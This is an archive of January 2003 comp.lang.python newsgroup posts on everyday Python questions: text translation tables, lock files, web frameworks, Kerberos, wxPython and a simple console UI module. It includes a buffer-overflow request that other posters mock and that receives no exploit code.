From mwm at mired.org  Thu Jan 30 11:30:32 2003
From: mwm at mired.org (Mike Meyer)
Date: Thu, 30 Jan 2003 16:30:32 GMT
Subject: Implicit lists
References: <m4di3v4koufdbf4e2pvsanegli2kqt48ch@4ax.com> <6ob_9.104776$0v.3032021@news1.tin.it>
Message-ID: <x7bs1y1txx.fsf@guru.mired.org>

Alex Martelli <aleax at aleax.it> writes:

> def iteron(something):
>     # string-like objects: treat as non-sequences
>     try: something+''
>     except TypeError: pass
>     else:
>         yield something
>         return
>     # other sequences
>     try:
>         for x in something: yield x
>     except TypeError:
>         yield something

I always thought that exceptions were expensive. Which makes me wonder
why you aren't using "isinstance(something, str)" for that first test.

        Thanks,
        <mike
-- 
Mike Meyer <mwm at mired.org>			http://www.mired.org/home/mwm/
Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information.



From alex at phiz.netNOSPAM  Sun Jan 26 14:17:02 2003
From: alex at phiz.netNOSPAM (Alex Reid)
Date: Sun, 26 Jan 2003 19:17:02 GMT
Subject: Python web development, really
References: <j9bo2v0lo0qfngcfpqc3ooj0bo881lhuuh@4ax.com> <f57664b9.0301252133.22c53e75@posting.google.com> <o6m73vg64klj53r5r4v4mbruahh1b257fa@4ax.com>
Message-ID: <OuWY9.916$6L7.6578307@news-text.cableinet.net>

"Mark Smith" <mark at camazotz.com> wrote in message
news:o6m73vg64klj53r5r4v4mbruahh1b257fa at 4ax.com...
> jbperez808 at yahoo.com (Jonathan P.) wrote:
> >Spyce gives me the vanilla PHP-like functionality I want(*) -
> >the kind of straight Python-code embedding that PyHP, PyML,
> >PMZ, Fenster provide except that these projects seem to have
> >been abandoned.
>
> For simple templating and Python embedding, PWO (www.jamwt.com/pwo/)
> has a clean, uncluttered syntax.

If you don't mind your application being coupled to Java libraries, I've had
good results using JythonServlet. www.jython.org. Sometimes JSP can be used
to template pages. All of the Java libraries are there to use, not to
mention session handling. And it all runs inside a servlet container! For
me, it's the best compromise. I'd be interested to hear if anyone else is
using this approach widely.

Alex





From reageer.in at de.nieuwsgroep  Sun Jan 26 07:54:53 2003
From: reageer.in at de.nieuwsgroep (Rene Pijlman)
Date: Sun, 26 Jan 2003 13:54:53 +0100
Subject: Translation table to map Latin-1 to ASCII?
References: <j8563v4r381meidikj14v1tjsobcfvijra@4ax.com> <c76ff6fc.0301252318.ecc7156@posting.google.com>
Message-ID: <2ll73v8a0gs4a7l9rfipp7srde4ta2e5tg@4ax.com>

John Machin:
>Rene Pijlman:
>> Can anyone point me to a translation table for string.translate
>> to map Latin-1 (ISO 8859-1) to ASCII such that \"e maps to e
>> etc.?
>
>The translation table would depend on what you want to use it for; you
>are smashing 256 different characters into 128, so you have a choice
>of losing information or emitting at least two characters per input
>character. 

I want to use it for log file analysis and statistical reporting
of an ht://Dig search engine. I've configured the search engine
itself to use the 'accents' algorithm: "This algorithm will
treat all accented letters as equivalent to their unaccented
counterparts." http://www.htdig.org/attrs.html

Now I want to mimic this behavior in the log analyzer that I'm
writing in Python. 

For example, if someone from Germany searches for \"ubersetzung
and someone from Holland searches for ubersetzung I want those
to count as two searches for the same search phrase in the
search statistics.
 
>What do you want to do with all the non-alphabetic characters?

Perhaps I should rephrase the challenge: I want to map Latin-1
to Latin-1, 1-to-1 for most characters, but with accented
letters mapped to their unaccented counterparts.

>I trust this isn't a Python specific question i.e. if someone gave you
>a translation table to be used in C or some other language, you'd be
>able to Pythonise it. 

Sure, and I can also write it myself or get it from ht://Dig's
source code. But I'm lazy and I was just hoping that someone
would have a similar translation table for Python's
string.translate lying around :-)

I found the following solution in this group's archive on
Google. If only I would understand how it works :-)

import unicodedata, string

def maketable():
    # build iso-latin-1 to "undotted" ascii translation table
    table = range(256)
    for i in table:
        x = unicodedata.decomposition(unichr(i))
        if x and x[0] == "0":
            table[i] = int(x.split()[0], 16)
    return string.join(map(chr, table), "")

text = "text with accented characters"

noaccents = maketable()

undotted_text = string.translate(text, noaccents)

print undotted_text

-- 
Ren? Pijlman

Wat wil jij leren?  http://www.leren.nl



From smulloni at bracknell.smullyan.org  Fri Jan 24 12:38:16 2003
From: smulloni at bracknell.smullyan.org (Jacob Smullyan)
Date: 24 Jan 2003 12:38:16 -0500
Subject: Python web development, really
References: <j9bo2v0lo0qfngcfpqc3ooj0bo881lhuuh@4ax.com> <mailman.1043359063.30364.python-list@python.org> <87smvittss.fsf@bracknell.smullyan.org> <7x3cni1plo.fsf@ruckus.brouhaha.com>
Message-ID: <slrnb32ug7.ubh.smulloni@bracknell.smullyan.org>

In article <7x3cni1plo.fsf at ruckus.brouhaha.com>, Paul Rubin wrote:
> I don't understand why more
> multi-process servers don't use shared memory instead of disk files,
> or even (gak) SQL databases and worse.  Sometimes I wonder whether MPI
> (the pseudo-shared memory used in scientific clusters like Beowulf)
> might be an appropriate abstraction for programs like web servers.
> There are very efficient MPI implementations that let processes on the
> same machine communicate through shared memory, and can also let
> processes on separate machines communicate through a LAN.

A cache like SkunkWeb's needs to be able to hold a large amount of
data, and accessing it has to be faster than recalculating it (which
in the real world often involves going to a SQL database for it).  A
naive implementation with shared memory and sql databases is unlikely
to meet those requirements; however, a naive implementation with disk
files works quite well.  When a naive implementation works well
enough, it isn't unreasonable to continue using it, and innovate
elsewhere.

jacob smullyan




From eat at joes.com  Thu Jan 16 20:19:21 2003
From: eat at joes.com (donoli)
Date: Fri, 17 Jan 2003 01:19:21 GMT
Subject: buffer overflow
References: <splb2vkt2lqspqjea5566dldil2t5s3v7m@4ax.com> <XCAV9.5784$YI5.499@news2.central.cox.net>
Message-ID: <aame2vku3p26s53g21gb3jhuas6o6s8717@4ax.com>

On Thu, 16 Jan 2003 15:56:39 GMT, "Steve Holden"
<sholden at holdenweb.com> wrote:

>"donoli" <eat at joes.com> wrote in message
>news:splb2vkt2lqspqjea5566dldil2t5s3v7m at 4ax.com...
>> I have two machines, FreeBSD 4,2  and  W2K pro.  I'd like to test the
>> security on both of them against a buffer overflow.  If someone has
>> the code in python for a buffer overflow, please post it.
>> donoli.
>
>I've seen better social engineering in kindergarten classrooms.
>
>regards
########################
If you don't want to answer the question, it's ok but don't tell me
what you see in your crystal ball that you bought on ebay.
donoli.
########################



From mwm at mired.org  Wed Jan  8 12:12:23 2003
From: mwm at mired.org (Mike Meyer)
Date: Wed, 08 Jan 2003 17:12:23 GMT
Subject: Novel Thoughts on Scripting and Languages
References: <52719db8.0301062130.5299a0ff@posting.google.com> <x74r8lynz2.fsf@guru.mired.org> <52719db8.0301071950.33e1917e@posting.google.com> <x7wulgwa1g.fsf@guru.mired.org> <52719db8.0301080803.3105438@posting.google.com>
Message-ID: <x765szwop4.fsf@guru.mired.org>

judoscript at hotmail.com (James Huang) writes:

> Mike Meyer <mwm at mired.org> wrote in message news:<x7wulgwa1g.fsf at guru.mired.org>...
> > judoscript at hotmail.com (James Huang) writes:
> > 
> > > > > Have you ever thought about scripting more areas, such
> > > > > as SQL, XML, EJB, SGML, HTTP, E-mail and GUI, the way you
> > > > > script OS commands, all at once? Think about it!
> > > > I have. I've written in it. It's called Rexx. Where JudoScript is as
> > > > much a multi-target scripting langauge as this article is novel, Rexx
> > > > is the real McCoy.
> > > Admittedly I'm no Rexx person.
> > In that case, you've missed the first true multitarget scripting
> > language, and it's only been around for 20 years now. I'd say you
> > failed to check on prior work properly.
> You've mentioned multi-"target" twice now, and I need to do some
> research on that. JudoScript is a tool for Java, so I checked Java
> scripting languages and felt comfortable.

That's obviously pretty short-sighted. Basically, Rexx lets you talk
to any Rexx-enabled application the same way most Unix scripting
languages talk to the shell. The result is very powerful - once you
get enough applications Rexx-enabled.

> > As others have mentioned, you can do this kind of thing with VBA. On
> > Unix, you can do it with CORBA. The real measure of the power of this
> > approach is how many applications will support what you're doing.
> Actually it is not VBA or CORBA, it is object model.

CORBA provides you with an object model. When scripting a
CORBA-enabled application, you manipulate objects in the
application. And you can do it from any language that has CORBA
support, which is most of the ones I'm familiar with - including Java.

> In Java, each object is a (mini) application. Any application is a
> collection of objects. We don't even need a command-line interface for
> that matter to use the magic of Rexx, do we? That's why Java is a
> dream platform not only for scripting, but also programming as well!

Jave doesn't do multiple inheritance, which makes it far from a "dream
platform" for programming as far as I'm concerned. I'd recommend you
check out Bertrand Meyer's "Object Oriented Software Construction" for
the reasons why not doing MI is a bad thing. Actually, I recommend
that book to anyone who does or wants to do OO programming.

> > How hard is it to add judoscript support to a random application, and
> > how much overhead does it add? Do I have to embed a java vm in the
> > thing to use it? What advantage does it give me over doing a CORBA
> > interface - see <URL: http://www.mired.org/home/mwm/scripting/ > for a
> > bit on that - to make up for the loss of the ability to write scripts
> > in any language with CORBA support? On Windows, you get to do the same
> > comparison with ActiveX or whatever MS is calling their distributed
> > object technology this month.
> I sensed you are not quite into Java, but unfortunately I am all Java
> now. I thought IBM is pretty big on Java, perhaps it's just because
> IBM is big that makes IBM-Java look big?

You failed to answer the questions, and these as well:

> > Unix, you can do it with CORBA. The real measure of the power of this
> > approach is how many applications will support what you're doing.

> > For instance, you talk about scripting in SQL. How many databases does
> > it work with, and which ones?

So I get the impression that Judoscript is only about scripting Java
objects, and not about scripting applications. That means it's limited
to applications written in Java, which is pretty pittiful. That also
means that JudoScript differs from Jython and similar Java tools only
in syntax.

Personally, I'd rather *not* learn another language just to script my
objects. What little Java programming I've done I used Jython for
scripting because I already knew Python. If I were going to get
serious about Java, I'd look for a Java scripting tool that let me use
Java syntax for everything.

        <mike
-- 
Mike Meyer <mwm at mired.org>			http://www.mired.org/home/mwm/
Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information.



From ubecher at gmx.net  Sat Jan 11 13:53:31 2003
From: ubecher at gmx.net (Uwe Becher)
Date: Sat, 11 Jan 2003 19:53:31 +0100
Subject: These are discouraging stats to Perlistas & Pythonistas...
In-Reply-To: <3E1F2683.F67B1811@acm.org>
References: <776e0325.0301070721.7405a312@posting.google.com> <S5GS9.5881$qU5.4697503@newssrv26.news.prodigy.com> <avfkpp$a7n$1@nyheter.chalmers.se> <23891c90.0301100451.310246d5@posting.google.com> <3E1F2683.F67B1811@acm.org>
Message-ID: <avpp51$nnu$01$1@news.t-online.com>

John W. Krahn wrote:
> Paul Boddie wrote:
> 
>>jacob at cd.chalmers.se (Jacob Hallen) wrote in message news:<avfkpp$a7n$1 at nyheter.chalmers.se>...
>>
>>>An interesting thought is wether the 55 Python programmers will produce
>>>more useful applications than the 2037 VB programmers.
>>
>>It gets even more interesting if you take monkeys and typewriters into
>>consideration.
> 
> 
> I thought VB implied monkeys and typewriters?
> 
> 
> John
It does: VB is the result after trying to electronically simulate the 
monkeys and typewriters thing




From grante at visi.com  Wed Jan 29 11:19:53 2003
From: grante at visi.com (Grant Edwards)
Date: 29 Jan 2003 16:19:53 GMT
Subject: Generating Unique Keys
References: <mailman.1043710965.5817.python-list@python.org> <7xy956jf5j.fsf@ruckus.brouhaha.com> <47e891f1.0301281237.16079102@posting.google.com> <7xvg09c8bi.fsf@ruckus.brouhaha.com> <3E36F43E.1090803@freemail.hu> <t1wvg089gey.fsf@kermit.wreck.org> <mailman.1043853713.17341.python-list@python.org>
Message-ID: <3e37ff29$0$26173$a1866201@newsreader.visi.com>

In article <mailman.1043853713.17341.python-list at python.org>, Nagy L?szl? wrote:

>>Sorry to be off topic, but why especially?  At least on Linux,
>>/dev/random is determined by various hardware factors chosen for the
>>difficulty to guess them (i.e. the float between keyboard controller
>>clock and the CPU clock generator) and then passed through a one way
>>hash function. =20
>
> Isn't it used for initializing only?

No.  Reading /dev/random returns random bits from an entropy
"pool" generated by various HW events.  When the pool runs out,
the read will block until more "randomness" happens -- which
can be rather inconvenient when you're running a simulation or
test that's using lots of random values.

-- 
Grant Edwards                   grante             Yow!  Finally, Zippy
                                  at               drives his 1958 RAMBLER
                               visi.com            METROPOLITAN into the
                                                   faculty dining room.



From gradha at terra.es  Tue Jan 28 06:07:04 2003
From: gradha at terra.es (Grzegorz Adam Hankiewicz)
Date: Tue, 28 Jan 2003 12:07:04 +0100
Subject: How can I avoid running a python script multiple times?
Message-ID: <20030128110704.GA1257@pedos.es>

Hi.

Using the concurrency jargon, I'm trying to mark python scripts as
'critical processes' which are not allowed to be run more than one
at the same time (I'm constrained to unix environments, BTW). To
do so, and following the logic of a bash script I had, I've created
a function which is passed the real entry point of the script.

This wrapper function checks for a .lock file using sys.argv[0]
as a model, and if found, reads it's pid and compares it against
"ps ux".  The script below seems to work, but there are a lot of
broken things I don't know how to fix:

What about signals? Say, I recieve a kill signal, how would I handle
that to terminate the program and delete the .lock file?

What about race conditions and atomicity? If two processes are
started at the same time, maybe both won't detect the lock file
and one will overwrite the lock file of the other, which means
two processes running at the same time.

I have thought that maybe this could be solved with locking through
sockets: the script tries to open a specific socket on localhost, if
it's opened, the process runs, otherwise another one is being
run. Of course I am presuming that the socket would be closed if
the python interpreter died, but that's a supossition. Basically,
this is relaying on the OS to work out the race condition.

Anything else I might have forgotten? Is there a cleaner way to
detect a process than calling "ps"?

#!/usr/bin/env python

import os, sys

def still_running(pid_as_string):
   """Returns zero if the process is not running."""
   child_stdin, child_stdout_and_stderr = os.popen4(["ps", "ux"])
   child_stdin.close()
   # filter processes with the given pid
   lines = filter(lambda x: x.find(" %s " % pid_as_string) >= 0, child_stdout_and_stderr.readlines())
   child_stdout_and_stderr.close()
   # second test, filter with the current binary name
   lines = filter(lambda x: x.find(os.path.basename(sys.argv[0])) >= 0, lines)
   return len(lines)

   

def run_if_possible(entry_point):
   """Given a function, it is called if there's no previous process running"""
   permission = 0
   lock_path = "%s.lock" % os.path.realpath(sys.argv[0])
   if os.path.isfile(lock_path):
      file = open(lock_path, "rt")
      pid = file.readline() # it's a string! not an integer
      file.close()
      if still_running(pid):
         sys.stderr.write("Process '%s:%s' is still running\n" % (pid, sys.argv[0]))
      else:
         sys.stderr.write("Found stale lock '%s'\n" % lock_path)
         permission = 1
   else:
      permission = 1

   if permission:
      file = open(lock_path, "wt")
      file.write("%d" % os.getpid())
      file.close()

      try:
         entry_point()
      finally:
         try: os.unlink(lock_path)
         except IOError: pass



def hello():
   while 1: print "hello"

if __name__ == "__main__":
   run_if_possible(hello)




From max at alcyone.com  Mon Jan 13 20:10:37 2003
From: max at alcyone.com (Erik Max Francis)
Date: Mon, 13 Jan 2003 17:10:37 -0800
Subject: Seeking Minimal Python Project Name (was: [pypy-dev] Re: 
 [ann]Minimal Python project)
References: <7x8yxqduco.fsf@ruckus.brouhaha.com> <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <7xr8bjgz4x.fsf@ruckus.brouhaha.com> <mailman.1042326208.15022.python-list@python.org> <7x4r8ej1r9.fsf@ruckus.brouhaha.com> <mailman.1042393464.20506.python-list@python.org> <7x8yxqduco.fsf@ruckus.brouhaha.com> <5.0.2.1.1.20030112185911.00a7a6d0@mail.oz.net> <mailman.1042427842.32098.python-list@python.org> <avuha2$jivd2$1@ID-114079.news.dfncis.de> <58AU9.2671$V6.4222@news.indigo.ie> <l5BU9.2677$V6.3995@news.indigo.ie>
Message-ID: <3E23638D.227773F0@alcyone.com>

P at draigBrady.com wrote:

> Pynch

I was actually considering this name for my template system which
eventually became known as EmPy, but it's already taken by a Python
color editor:


http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/python/python/dist/src/Tools/pynche/

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Describe a circle, stroke its back and it turns vicious.
\__/ Ionesco
    The laws list / http://www.alcyone.com/max/physics/laws/
 Laws, rules, principles, effects, paradoxes, etc. in physics.



From bhards at bigpond.net.au  Thu Jan  2 04:21:11 2003
From: bhards at bigpond.net.au (Brad Hards)
Date: Thu, 2 Jan 2003 20:21:11 +1100
Subject: convert currency to words
In-Reply-To: <nj9tua.vo3.ln@beastie.ix.netcom.com>
References: <ef7d69f2.0212302106.540d7e55@posting.google.com> <ausjhu$pt1$1@slb9.atl.mindspring.net> <nj9tua.vo3.ln@beastie.ix.netcom.com>
Message-ID: <200301022021.11913.bhards@bigpond.net.au>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On Wed, 1 Jan 2003 10:35, Dennis Lee Bieber wrote:
>         Ugh... I'd probably drop all those intervening "and"s...
>
>         two hundred thirty-four sextillion, five hundred sixty-seven
> quintillion,...
>
>         The only "and" would occur at the decimal, in which case one has
> the choice of
>         ... six dollars and ninety-eight cents
> or
>         ... six and ninety-eight one-hundredth dollars
Not in Australian (nor in English, I'd hazard a guess). American is not quite 
the same dialect.

So you need to localise (or localize :) your code.

Brad

BTW: If you told an Australian to "write your folks" and gave them a pen a 
paper, it would most likely be handed back to you with two words on it 
(literally "your folks"). The Australian equivalent would be "write to your 
parents".

- -- 
http://linux.conf.au. 22-25Jan2003. Perth, Aust. I'm registered. Are you?
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE+FASHW6pHgIdAuOMRAow/AKCCNT/DmoMXQSTV0JlmerAPG0kQSwCeL2fJ
g25OTUfFnatcg1g3RYg/IQk=
=Pzhl
-----END PGP SIGNATURE-----





From donnalcwalter at yahoo.com  Sun Jan  5 07:05:42 2003
From: donnalcwalter at yahoo.com (Donnal Walter)
Date: Sun, 5 Jan 2003 06:05:42 -0600
Subject: [wxPython] Right alignment in wxTextCtrl?
References: <3e17fbf1@news.swissonline.ch>
Message-ID: <av970v$mtm$1@main.gmane.org>

"F. GEIGER" <fgeiger at datec.at> wrote in message
news:3e17fbf1 at news.swissonline.ch...
> I'd like to create a NumberTextbox class, which differs from the standard
> wxTextCtrl in that it right aligns its text (which are numbers, of
course).
> As I cannot find the right property for achieving this (the Style methods
> seem to change the font and its appearance only), I'm afraid I have to
> invent something by myself. But before I go into interstion point calcs
> and/or string padding or whatever, I'd like to ask, if there's anything
I've
> missed.

from wxPython.lib.rightalign import wxRightTextCtrl

In the demo for wxPython 2.3.3.1 look at wxRightTextCtrl under "More
Windows/Controls".

IIRC, some native controls (MSW, for example) also support
'style=wxTE_RIGHT'. You might want to give this a try this first.

Donnal Walter
Arkansas Children's Hospital








From maney at pobox.com  Fri Jan 17 21:05:47 2003
From: maney at pobox.com (Martin Maney)
Date: Sat, 18 Jan 2003 02:05:47 +0000 (UTC)
Subject: buffer overflow
References: <mailman.1042778911.1136.python-list@python.org>
Message-ID: <b0acpr$e7m$1@wheel2.two14.net>

Tim Peters <tim.one at comcast.net> wrote:
> [donoli]
>> I have two machines, FreeBSD 4,2  and  W2K pro.  I'd like to test the
>> security on both of them against a buffer overflow.  If someone has
>> the code in python for a buffer overflow, please post it.
>> donoli.
> 
> [Martin v. Loewis]
>> Python does not support buffer overflows, sorry.
> 
> [pmaney at pobox.com]

No 'p' there, and I thought I configured that.  Hmph.

>> I'm sure they could be added by a C extension module.
> 
> They already were

And here I thought I was making a funny.

> and, curiously enough, by the builtin bufferobject.c.
> That supplies the builtin, little understood, and easily abused buffer
> object.  For fun, run this:  [...]

Am I missing something a little more descriptive than the brief blurb
in the Library Reference, or is this thing intended to be undocumented?

> Some of the smarest people I know have refused to fix this <wink>.

If I've guessed the purpose of this little monster, there's probably
not any way to fix it without losing its reason for being.  So, what's
it used for, aside from breaking my feeble attempt at a joke?



From cgjunkaddr at attbi.com  Sun Jan 26 15:58:42 2003
From: cgjunkaddr at attbi.com (Chetan Gadgil)
Date: Sun, 26 Jan 2003 20:58:42 GMT
Subject: Update:KOBRA - .NET for Python
Message-ID: <6_XY9.47838$4y2.1983@sccrnsc04>

Hi

I have updated the library and documentation with some examples:
1) How to use XML apis from .NET
2) How to access .NET webservices dynamically from Python
3) Create Windows forms

Coming soon:

1) How to access COM objects from Python, without using win32com library.
(using only kobra .NET)

This project is under constant development to increase usability and improve
features.

Thanks to GV Rossum for creating this superb language - Python and to Mark
Hammond for his awe inspiring win32all.

http://www.gadgil.net/DotNetWrapperForPython.htm

Regards
Chetan





From dave at pythonapocrypha.com  Thu Jan 30 18:16:40 2003
From: dave at pythonapocrypha.com (Dave Brueck)
Date: Thu, 30 Jan 2003 15:16:40 -0800 (PST)
Subject: Help a C++ coder see the light
In-Reply-To: <lIg_9.5348$Wu1.409171@newsread1.prod.itd.earthlink.net>
References: <memo.20030130181135.820C@a.radioscape.com>
 <mailman.1043956135.5480.python-list@python.org>
 <lIg_9.5348$Wu1.409171@newsread1.prod.itd.earthlink.net>
Message-ID: <Pine.LNX.4.51.0301301507260.11220@ns0.tbye.com>

On Thu, 30 Jan 2003, Brandon Van Every wrote:

> Dave Brueck wrote:
> > On Thu, 30 Jan 2003, Mark Charsley wrote:
> >
> >> I'm used to the compiler/linker giving me a lot of reassurance that
> >> my code works.
> >
> > That's common, but in many cases it's a _false_ sense of reassurance.
>
> It kills many problems before they arise.

Well, you didn't really elaborate so I can only guess what you meant, but
I can't think of any real-world problems it finds that aren't caught just
as adequately in the tests. Plus, it certainly doesn't catch algorithmic
errors, which tests do.

In any case, I don't think anyone is arguing that the compile-time checks
provide _zero_ benefit, only that the benefits are often overrated and are
sometimes mixed signals (such as the default arg example I cited earlier).

> > Even in C++ I end up checking all uses of a refactored function
> > despite what the compiler says because it can catch only the simplest
> > of problems.
>
> Sounds like your functions must do an awful lot if they need so much
> checking.

Why do you say that? What do you mean by "so much checking"? For some it's
a matter of just looking at the function call, for others it's walking
through the code. It really depends on what the refactorization was, no?

> Maybe your functions should be smaller, more incremental, easier to
> verify?

You're kidding, right?

-Dave




From just at xs4all.nl  Mon Jan  6 17:12:48 2003
From: just at xs4all.nl (Just)
Date: Mon, 06 Jan 2003 23:12:48 +0100
Subject: How do I start Mac Python scripts from Excel?
References: <c9d82136.0301061329.45a09a71@posting.google.com>
Message-ID: <just-12E442.23124806012003@news1.news.xs4all.nl>

In article <c9d82136.0301061329.45a09a71 at posting.google.com>,
 noah at noah.org (Noah) wrote:

> I'm a Macintosh newbie. I wrote a script for a client
> that compresses and encrypts an Excel spreadsheet and
> then posts it to a web site. It runs great as a 
> stand-alone Python Applet on MacOS 9.1. 
> I'm using Jack Jansen's MacPython 2.22 distribution.
> 
> The client would like a button on their Excel spreadsheet 
> that activates a Python script. I'm fairly experienced with 
> VBA on Windows, but I have no Mac experience. 
> I can create a button and edit the VBA code on Mac, so 
> there are no problems there.
> 
> 1. How do I launch the Python applet from Excel?

Can Excel execute AppleScript? If so, you should launch your applet with 
a small AppleScript.

> 2. How do I prevent or dismiss the "Output" window that
> always comes up when I run a Python Applet on Mac?

Drop your applet onto the EditPythonPrefs app in the MacPython distro. 
Look for a setting "delay output window until needed". And then make 
sure you don't print anything...

Just



From jriveramerla at yahoo.com  Fri Jan 31 15:25:00 2003
From: jriveramerla at yahoo.com (Jose Rivera)
Date: 31 Jan 2003 12:25:00 -0800
Subject: DCOracle2 returns numbers truncated?
Message-ID: <11e94203.0301311225.3fc38303@posting.google.com>

Hi...

I'm using Python to make some reports, and the same SQL statement
executed on TOAD returns: 17.84 and executed on Python returns:17.

Is there something I shuold get specified when I connect or that is
the default behaivor?

thanks.



From donn at drizzle.com  Wed Jan 29 00:28:46 2003
From: donn at drizzle.com (Donn Cave)
Date: Wed, 29 Jan 2003 05:28:46 -0000
Subject: Getting a kerberos ticket
References: <1043800103.831567@bats.mcs.vuw.ac.nz> <b1798a$28j4$1@nntp6.u.washington.edu> <1043808215.350745@bats.mcs.vuw.ac.nz>
Message-ID: <1043818124.796724@yasure>

Quoth Mike McGavin <jester at NOSPAM.mcsnospam.vuw.netNOSPAM.nz>:

|> Then you need a keytab file with the principal's password, with access
|> restricted to your application ID (and root of course - there's no way
|> you can do this without giving the web host's admins access to your
|> database.)  That can be used periodically to update credentials, via
|> kinit in a cron job, or every time the request runs.
|
| Thanks.  Would I still need this if the process is running under my uid, 
| or is it only if it's running as nobody?

Running as you.  It's your password, kinit will use the keytab instead
of prompting.

|> A Python module for Kerberos5 is feasible, but seems like it might be
|> the least of your worries (maybe not even worth the installation and
|> maintenance of this C module.)
|
| I actually managed to find Elliot Lee's krb5 module at 
| http://py.vaults.ca/parnassus/apyllo.py?i=187576001, but I'm having a 
| difficult time getting it to compile under NetBSD.  I'm not yet sure if 
| it'll do what I want, but I'm hoping.

That's interesting, I'll have to see what he's got.  NetBSD comes with
Heimdal, as opposed to MIT, Kerberos5.  MIT and Heimdal aren't 100%
compatible at the API level in my experience, that could be the problem.
But you really do not need a Python krb5 module for this.

	Donn Cave, donn at drizzle.com



From sholden at holdenweb.com  Sun Jan 12 12:41:26 2003
From: sholden at holdenweb.com (Steve Holden)
Date: Sun, 12 Jan 2003 12:41:26 -0500
Subject: How do I get to *all* of the groups of an re search?
References: <sl51f-6dj.ln1@news.lairds.org> <v1titmb0454v58@corp.supernews.com> <oe23f-ta3.ln1@news.lairds.org> <v1tq06bo2mjg14@corp.supernews.com> <qol3f-p27.ln1@news.lairds.org> <avni6r$im1$1@slb2.atl.mindspring.net> <dpe4f-52b.ln1@news.lairds.org> <3E1FA635.8051A960@alcyone.com> <8vq5f-8k3.ln1@news.lairds.org>
Message-ID: <XIhU9.266191$bZ.161190@FE07>

"Kyler Laird" <Kyler at news.Lairds.org> wrote ...
> Erik Max Francis <max at alcyone.com> writes:
>
> >> >http://www.python.org/doc/current/lib/match-objects.html
> >>
> >> Thank you.  Any idea how I should have know to find that from
> >> here?
> >>         http://www.python.org/doc/current/lib/re-syntax.html
>
> >Click on the right arrow multiple times.  Or, click up, then note all
> >the related subjects, click on "Match Objects."
>
> O.k., now *why*, as a naive beginning programmer, would I
> do that when a simple answer appears to be staring at me?
>

Well, you might have read earlier in the page: ''' brief explanation of the
format of regular expressions follows. For further information and a gentler
presentation, consult the Regular Expression HOWTO, accessible from
http://www.python.org/doc/howto/. ''', and realised that the reference would
have been more helpful to a naiive beginning programmer. Even then,
following the "Groups" link from the TOC doesn't really give you a
definitive notification of the finer points of grouped matching.

However, if you're complaining that the re documentation is unhelpful and
confusing, I'd tend to agree (as one who finds re's generally unhelpful and
confusing). You've already mailed docs at python.org with your suggested
changes, I hope ;-)?

regards
--
Steve Holden                                  http://www.holdenweb.com/
Python Web Programming                 http://pydish.holdenweb.com/pwp/
Bring your musical instrument to PyCon!    http://www.python.org/pycon/







From max at alcyone.com  Wed Jan  8 06:43:38 2003
From: max at alcyone.com (Erik Max Francis)
Date: Wed, 08 Jan 2003 03:43:38 -0800
Subject: Generate variables at run time?
References: <VyPS9.6818$xs6.347786501@newssvr14.news.prodigy.com>
Message-ID: <3E1C0EEA.A60FE96A@alcyone.com>

Byron Morgan wrote:

> Is there any way in Python to generate a new variable name based on
> data? I
> have tried the eval() function, but this gets rejected, if the
> variable
> doesn't already exist.

You could use exec.  Probably if you find yourself doing this a lot,
you're better off using a dictionary.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ The opinion of the strongest is always the best.
\__/ Jean de la Fontaine
    PyUID / http://www.alcyone.com/pyos/uid/
 A module for generating "unique" IDs in Python.



From pschmidt at omnimn.com  Wed Jan 22 08:31:56 2003
From: pschmidt at omnimn.com (Phil Schmidt)
Date: 22 Jan 2003 05:31:56 -0800
Subject: Testimonial
References: <69413f9.0301170622.42542a85@posting.google.com> <mailman.1042829736.1435.python-list@python.org>
Message-ID: <69413f9.0301220531.37039db4@posting.google.com>

> Out of curiosity, what did you end up doing for the "graphics" (text
> menus, etc)?  I'd like to do something similar and have it work for
> Windows (I don't think ncurses will work without Cygwin or something
> similar)
> 
> Shawn


Here's my basic "ui" module. Very simple, no windowing. I had to
comment out the line in getDate() with the time.strptime function, as
this won't run on Windows (which I'm on right now), but works fine on
Linux (which I have at home). I added the test section at the end as
an example for this post. Oh, and the normalDate module is from Vaults
of Parnassus.

The base_menu class as I've implemented it seems a bit clunky to me,
but it captures the functionality I wanted. I'll probably revisit it
some day, and try to give it some polish and better capability.

-------------------------------------------------------------
import string, os, time
import normalDate

DEFAULT_WIDTH = 78

def clrscr():
    """
    A screen clearing function.
    """
    if os.name == 'posix':
        os.system('clear')
    elif os.name == 'nt':
        os.system('cls')
    else:
        # guess!
        print('\n' * 25)

def header(text='=', pos='L', width=DEFAULT_WIDTH):
    """
    Prints a header string.
    pos may be 'L', 'C', or 'R' for left, center, right justify.
    If text is a single character, that character will be used
    to fill the width of the print field.
    """
    width -= 2
    if text == '':
        text = '='
    if len(text) == 1:
        print '|' + text * width + '|'
    else:
        pos = string.upper(pos)
        if pos == 'L':
            print '|' + string.ljust(text, width) + '|'
        elif pos == 'C':
            print '|' + string.center(text, width) + '|'
        elif pos == 'R':
            print '|' + string.rjust(text, width) + '|'
    
def get(prompt='', default=''):
    """
    A plain old input routine.
    """
    try:
        x = raw_input(prompt)
    except (KeyboardInterrupt):
        x = default
    if x == '':
        x = default
    return x

def getInt(prompt='Enter an integer', default=0):
    """
    Return an integer.
    """
    prompt += ' <%s> -->' % default
    try:
        return int(get(prompt, default))
    except ValueError:
        return default

def getString(prompt='Enter a string', default=''):
    """
    Return a string.
    """
    prompt += ' <%s> -->' % default
    return get(prompt, default)

def getYes(prompt='Yes or no?', default='n'):
    """
    Return 1 (yes) or 0 (no).
    """
    confirm = get(prompt + ' <Y/N> -->', default)
    if string.upper(confirm) == 'Y':
        return 1
    else:
        return 0

def getDate(prompt='Enter a date', default=''):
    """
    Return a date string.
    """
    if not default:
        default = time.strftime('%m/%d/%y')
    prompt += ' <' + default + '> -->'
    date = get(prompt, default)
    # the next line doesn't work on Windows. Works fine on Linux.
    # date = time.strftime('%Y%m%d', time.strptime(date, '%m/%d/%y'))
